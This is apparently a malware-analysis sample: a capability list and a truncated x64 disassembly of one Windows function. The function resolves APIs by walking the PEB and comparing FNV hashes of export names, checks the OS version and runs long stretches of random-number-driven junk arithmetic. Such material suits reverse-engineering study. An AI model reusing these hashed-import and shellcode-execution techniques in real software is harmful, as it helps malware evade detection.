Function at 0x14014c600
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check os version
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Hash data using fnv
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0xdbc0
call fcn.14019fb10
sub rsp, rax
movaps xmmword [rsp + 0xdbb0], xmm6
movaps xmmword [rsp + 0xdba0], xmm7
movaps xmmword [rsp + 0xdb90], xmm8
movaps xmmword [rsp + 0xdb80], xmm9
movaps xmmword [rsp + 0xdb70], xmm10
movaps xmmword [rsp + 0xdb60], xmm11
movaps xmmword [rsp + 0xdb50], xmm12
movaps xmmword [rsp + 0xdb40], xmm13
movaps xmmword [rsp + 0xdb30], xmm14
movaps xmmword [rsp + 0xdb20], xmm15
mov rax, qword [0x1401ff0f0]
xor rax, rsp
mov qword [rsp + 0xdb10], rax
xor r15d, r15d
xorps xmm0, xmm0
movups xmmword [rsp + 0xe18], xmm0
lea rdx, [rsp + 0xdbd8]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rsp + 0xe20], rcx
mov qword [rsp + 0xe28], rdx
mov rax, qword [rdx]
xor rax, rcx
mov qword [rsp + 0xe18], rax
mov qword [rdx], r15
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x1254]
call fcn.1401a1870
mov dword [rsp + 0x1250], 0x114
lea rcx, [rsp + 0x1250]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1401554c3
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401554c3
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0xf58418e0
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1401554ba
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14014c780
cmp r8d, 0x6862bfc6
jne 0x1401554ba
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
cmp eax, 0x400
jne 0x14014c88c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14014c856
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14014c856
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0xf6841a73
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14014c851
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14014c830
cmp r8d, 0xcfccd379
je 0x14014c85b
test r10d, r10d
jne 0x14014c810
mov rax, qword [rax]
jmp 0x14014c7e0
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov r14d, 1
mov ecx, r14d
call rdx
cmp eax, 0x300
je 0x14014cbb4
jmp 0x14014c892
mov r14d, 1
cmp dword [rsp + 0x1254], 6
ja 0x14014c8b0
jne 0x14014cbb4
cmp dword [rsp + 0x1258], 2
jb 0x14014cbb4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1401554b2
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401554b2
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x7a6c778
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1401554a9
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14014c930
cmp r8d, 0x8e086bfe
jne 0x1401554a9
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
cmp eax, 0x500
jne 0x14014ca34
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14014ca06
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14014ca06
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x8a6c90b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14014ca01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14014c9e0
cmp r8d, 0xae438a71
je 0x14014ca0b
test r10d, r10d
jne 0x14014c9c0
mov rax, qword [rax]
jmp 0x14014c990
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, r14d
call rdx
cmp eax, 0x400
je 0x14014cbb4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1401554a1
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401554a1
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0xd8308ba1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140155498
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14014cab0
cmp r8d, 0xd2f96d57
jne 0x140155498
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
cmp eax, 0x320
jne 0x14014dd13
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14014cb86
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14014cb86
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r9
mov r8d, 0xd7308a0e
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14014cb81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14014cb60
cmp r8d, 0xae954114
je 0x14014cb8b
test r10d, r10d
jne 0x14014cb40
mov rax, qword [rax]
jmp 0x14014cb10
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, r14d
call rdx
cmp eax, 0x258
jne 0x14014dd13
mov qword [0], r15
call fcn.14017ecdc
mov dword [rsp + 0x26f4], 0xffffffff
mov dword [rsp + 0x1374], eax
mov rdx, r14
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x1374], eax
inc rdx
cmp rdx, 0x270
jb 0x14014cbe0
mov dword [rsp + 0x1370], 0x270
mov dword [rsp + 0xbd8], 0xffffff9c
mov dword [rsp + 0xbdc], 0x64
movsd xmm13, qword [0x1401ec168]
mov dword [rsp + 0x40], r15d
xorps xmm8, xmm8
movsd qword [rsp + 0x50], xmm8
call fcn.14017a0bc
mov rbx, rax
call fcn.14017a0a0
cmp rbx, 0x989680
jne 0x14014cc58
imul rax, rax, 0x64
jmp 0x14014cc73
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rbx, [rax + 0x5f5e100]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xbe8], xmm1
mov qword [rsp + 0xbf8], r15
mov ecx, 8
call fcn.14019f23c
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x378], r15
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0xbf0]
cmp rdx, qword [rsp + 0xbf8]
je 0x14014ccda
mov qword [rsp + 0x110], r15
mov qword [rdx], rax
add qword [rsp + 0xbf0], 8
jmp 0x14014ccf0
lea r8, [rsp + 0x110]
lea rcx, [rsp + 0xbe8]
call fcn.14016b650
nop
mov rcx, qword [rsp + 0x110]
test rcx, rcx
je 0x14014cd0a
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
nop
mov rcx, qword [rsp + 0x378]
test rcx, rcx
je 0x14014cd23
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
mov ecx, 8
call fcn.14019f23c
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x380], r15
mov qword [rsp + 0x118], rax
mov rdx, qword [rsp + 0xbf0]
cmp rdx, qword [rsp + 0xbf8]
je 0x14014cd6f
mov qword [rsp + 0x118], r15
mov qword [rdx], rax
add qword [rsp + 0xbf0], 8
jmp 0x14014cd85
lea r8, [rsp + 0x118]
lea rcx, [rsp + 0xbe8]
call fcn.14016b650
nop
mov rcx, qword [rsp + 0x118]
test rcx, rcx
je 0x14014cd9f
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
nop
mov rcx, qword [rsp + 0x380]
test rcx, rcx
je 0x14014cdb8
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
mov ecx, 8
call fcn.14019f23c
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x388], r15
mov qword [rsp + 0xf0], rax
mov rdx, qword [rsp + 0xbf0]
cmp rdx, qword [rsp + 0xbf8]
je 0x14014ce04
mov qword [rsp + 0xf0], r15
mov qword [rdx], rax
add qword [rsp + 0xbf0], 8
jmp 0x14014ce1a
lea r8, [rsp + 0xf0]
lea rcx, [rsp + 0xbe8]
call fcn.14016b650
nop
mov rcx, qword [rsp + 0xf0]
test rcx, rcx
je 0x14014ce34
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
nop
mov rcx, qword [rsp + 0x388]
test rcx, rcx
je 0x14014ce4d
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
mov ecx, 8
call fcn.14019f23c
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x390], r15
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0xbf0]
cmp rdx, qword [rsp + 0xbf8]
je 0x14014ce99
mov qword [rsp + 0x120], r15
mov qword [rdx], rax
add qword [rsp + 0xbf0], 8
jmp 0x14014ceaf
lea r8, [rsp + 0x120]
lea rcx, [rsp + 0xbe8]
call fcn.14016b650
nop
mov rcx, qword [rsp + 0x120]
test rcx, rcx
je 0x14014cec9
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
nop
mov rcx, qword [rsp + 0x390]
test rcx, rcx
je 0x14014cee2
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
mov ecx, 8
call fcn.14019f23c
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x398], r15
mov qword [rsp + 0x128], rax
mov rdx, qword [rsp + 0xbf0]
cmp rdx, qword [rsp + 0xbf8]
je 0x14014cf2e
mov qword [rsp + 0x128], r15
mov qword [rdx], rax
add qword [rsp + 0xbf0], 8
jmp 0x14014cf44
lea r8, [rsp + 0x128]
lea rcx, [rsp + 0xbe8]
call fcn.14016b650
nop
mov rcx, qword [rsp + 0x128]
test rcx, rcx
je 0x14014cf5e
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
nop
mov rcx, qword [rsp + 0x398]
test rcx, rcx
je 0x14014cf77
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
mov ecx, 8
call fcn.14019f23c
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x3a0], r15
mov qword [rsp + 0xc8], rax
mov rdx, qword [rsp + 0xbf0]
cmp rdx, qword [rsp + 0xbf8]
je 0x14014cfc3
mov qword [rsp + 0xc8], r15
mov qword [rdx], rax
add qword [rsp + 0xbf0], 8
jmp 0x14014cfd9
lea r8, [rsp + 0xc8]
lea rcx, [rsp + 0xbe8]
call fcn.14016b650
nop
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x14014cff3
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
nop
mov rcx, qword [rsp + 0x3a0]
test rcx, rcx
je 0x14014d00c
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r14d
call r8
mov esi, 0x80000000
movsd xmm10, qword [0x1401ec130]
movsd xmm9, qword [0x1401ec150]
movsd xmm14, qword [0x1401ec148]
nop dword [rax]
call fcn.14017a0bc
mov rdi, rax
call fcn.14017a0a0
cmp rdi, 0x989680
jne 0x14014d04c
imul rax, rax, 0x64
jmp 0x14014d067
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x14014dc7d
mov dword [rsp + 0x88], r15d
nop dword [rax + rax]
mov eax, dword [rsp + 0xbd8]
cmp eax, esi
lea ecx, [rax + rsi]
jb 0x14014d094
lea ecx, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014d0a3
add eax, esi
jmp 0x14014d0a8
add eax, 0x80000000
sub eax, ecx
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014d0be
call fcn.14016f570
jmp 0x14014d0f8
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x14014d0f8
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014d0f8
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14014d0e1
mov eax, dword [rsp + 0xbd8]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x14014d10e
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014d11d
add eax, esi
jmp 0x14014d122
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014d13b
call fcn.14016f570
mov ecx, eax
jmp 0x14014d17b
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x14014d177
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014d177
nop
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14014d160
shr rcx, 0x20
lea edx, [rcx + r12]
mov r8, qword [rsp + 0xbf0]
mov r9, qword [rsp + 0xbe8]
sub r8, r9
sar r8, 3
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
movsxd rax, ecx
xor edx, edx
div r8
movsxd rax, edx
mov r13, qword [r9 + rax*8]
mov rax, qword [r13]
mov rax, qword [rax + 8]
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0xbd8]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x14014d1d6
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014d1e5
add eax, esi
jmp 0x14014d1ea
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014d203
call fcn.14016f570
mov ecx, eax
jmp 0x14014d24b
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x14014d247
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014d247
nop word [rax + rax]
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14014d230
shr rcx, 0x20
lea edx, [rcx + r12]
lea eax, [rdx + rsi]
lea r8d, [rdx - 0x80000000]
cmp edx, esi
cmovae r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, r13
call qword [rsp + 0x70]
mov dword [rsp + 0x40], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14014d280
divsd xmm11, xmm1
mulsd xmm11, xmm14
addsd xmm11, xmm13
movaps xmm12, xmm8
movaps xmm1, xmm10
mov edi, 2
nop dword [rax]
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14014d2d0
divsd xmm12, xmm1
mulsd xmm12, xmm14
addsd xmm12, xmm13
movaps xmm6, xmm12
andps xmm6, xmmword [0x1401ec270]
movaps xmm0, xmm11
call fcn.1401cd750
movaps xmm7, xmm0
movaps xmm0, xmm12
call fcn.1401ce600
mulsd xmm7, xmm0
addsd xmm6, xmm10
movaps xmm0, xmm6
call fcn.1401ce0d0
addsd xmm7, xmm0
movaps xmm0, xmm11
call fcn.1401cdcd0
subsd xmm7, xmm0
movsd xmm1, qword [rsp + 0x50]
addsd xmm7, xmm1
movsd qword [rsp + 0x50], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14014d370
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
movsd xmm1, qword [0x1401ec138]
call fcn.1401b1850
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14014d3e0
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
call fcn.1401ceb70
movsd xmm1, qword [rsp + 0x50]
mulsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0xd70], xmm0
mov qword [rsp + 0xd80], r15
mov qword [rsp + 0xd88], r15
lea r8d, [rdi + 6]
lea rdx, str.random
lea rcx, [rsp + 0xd70]
call fcn.1401321c0
nop
lea rdi, [rsp + 0xd70]
cmp qword [rsp + 0xd88], 0x10
jb 0x14014d486
mov rdi, qword [rsp + 0xd70]
mov rcx, rdi
jmp 0x14014d48e
lea rcx, [rsp + 0xd70]
mov rdx, rdi
mov r14, qword [rsp + 0xd80]
add r14, rcx
cmp rdx, r14
je 0x14014d4e8
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x14014d4d8
nop dword [rax]
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x14014d4c0
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, r14
jne 0x14014d4a1
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xc70], xmm1
mov qword [rsp + 0xc80], r15
mov ecx, 0x190
call fcn.14019f23c
mov qword [rsp + 0xc70], rax
lea r12, [rax + 0x190]
mov qword [rsp + 0xc80], r12
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call fcn.1401a1870
mov qword [rsp + 0xc78], r12
mov r14, qword [rsp + 0xc70]
cmp r14, r12
je 0x14014d581
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x1370]
lea rcx, [rsp + 0xbd8]
call fcn.140161390
mov dword [r14], eax
add r14, 4
cmp r14, r12
jne 0x14014d550
mov r12, qword [rsp + 0xc78]
mov r14, qword [rsp + 0xc70]
mov dword [rsp + 0xe30], 0xffffff9c
mov dword [rsp + 0xe34], 0x64
cmp r14, r12
je 0x14014d5d6
nop dword [rax]
mov edi, dword [r14]
lea rdx, [rsp + 0x1370]
lea rcx, [rsp + 0xe30]
call fcn.140161390
add eax, edi
mov dword [r14], eax
add r14, 4
cmp r14, r12
jne 0x14014d5a0
mov r12, qword [rsp + 0xc78]
mov r14, qword [rsp + 0xc70]
mov r8, r12
sub r8, r14
sar r8, 2
xor r9d, r9d
mov rdx, r12
mov rcx, r14
call fcn.14016f700
mov r8d, r15d
mov rax, qword [rsp + 0xc70]
mov rdx, r15
mov r9, qword [rsp + 0xc78]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r15
test rcx, rcx
je 0x14014d671
cmp rcx, 8
jb 0x14014d671
and rcx, 0xfffffffffffffff8
xorps xmm2, xmm2
xorps xmm1, xmm1
nop
movdqu xmm0, xmmword [rax]
paddd xmm2, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm1, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x14014d630
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14014d68c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x14014d680
mov eax, dword [rsp + 0x40]
add eax, r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0xbd8]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x14014d6ad
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014d6bc
add eax, esi
jmp 0x14014d6c1
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014d6da
call fcn.14016f570
mov ecx, eax
jmp 0x14014d71b
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x14014d717
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014d717
nop dword [rax]
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14014d700
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx - 0x80000000]
lea edi, [rcx + rsi]
cmp ecx, esi
cmovae edi, eax
mov eax, dword [rsp + 0xbd8]
cmp eax, esi
lea r13d, [rax + rsi]
jb 0x14014d742
lea r13d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014d751
add eax, esi
jmp 0x14014d756
add eax, 0x80000000
sub eax, r13d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014d76f
call fcn.14016f570
mov ecx, eax
jmp 0x14014d7bc
lea r14d, [rax + 1]
call fcn.14016f570
mov r12d, r14d
mov ecx, eax
imul rcx, r12
cmp ecx, r14d
jae 0x14014d7b8
mov eax, r14d
neg eax
xor edx, edx
div r14d
mov r14d, edx
cmp ecx, edx
jae 0x14014d7b8
nop word [rax + rax]
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov ecx, eax
imul rcx, r12
cmp ecx, r14d
jb 0x14014d7a0
shr rcx, 0x20
add ecx, r13d
lea eax, [rcx - 0x80000000]
lea r8d, [rcx + rsi]
cmp ecx, esi
cmovae r8d, eax
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul r8d, edi
add eax, r8d
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x14014d806
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
mov eax, dword [rsp + 0xbd8]
lea r12d, [rax + rsi]
jne 0x14014d8bb
cmp eax, esi
jb 0x14014d824
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014d833
add eax, esi
jmp 0x14014d838
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014d851
call fcn.14016f570
mov ecx, eax
jmp 0x14014d89b
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x14014d897
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014d897
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14014d880
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
jmp 0x14014d957
cmp eax, esi
jb 0x14014d8c6
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014d8d5
add eax, esi
jmp 0x14014d8da
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014d8f3
call fcn.14016f570
mov ecx, eax
jmp 0x14014d93b
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x14014d937
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014d937
nop word [rax + rax]
lea rcx, [rsp + 0x1370]
call fcn.14016f570
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14014d920
shr rcx, 0x20
lea edx, [rcx + r12]
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x70], 5
mov r13d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0xbd8]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x14014d986
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014d995
add eax, esi
jmp 0x14014d99a
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014d9b3
call fcn.14016f570
mov ecx, eax
jmp 0x14014d9fb
lea edi, [rax + 1]
call fcn.14016f570
mov r14d, edi
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jae 0x14014d9f7
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
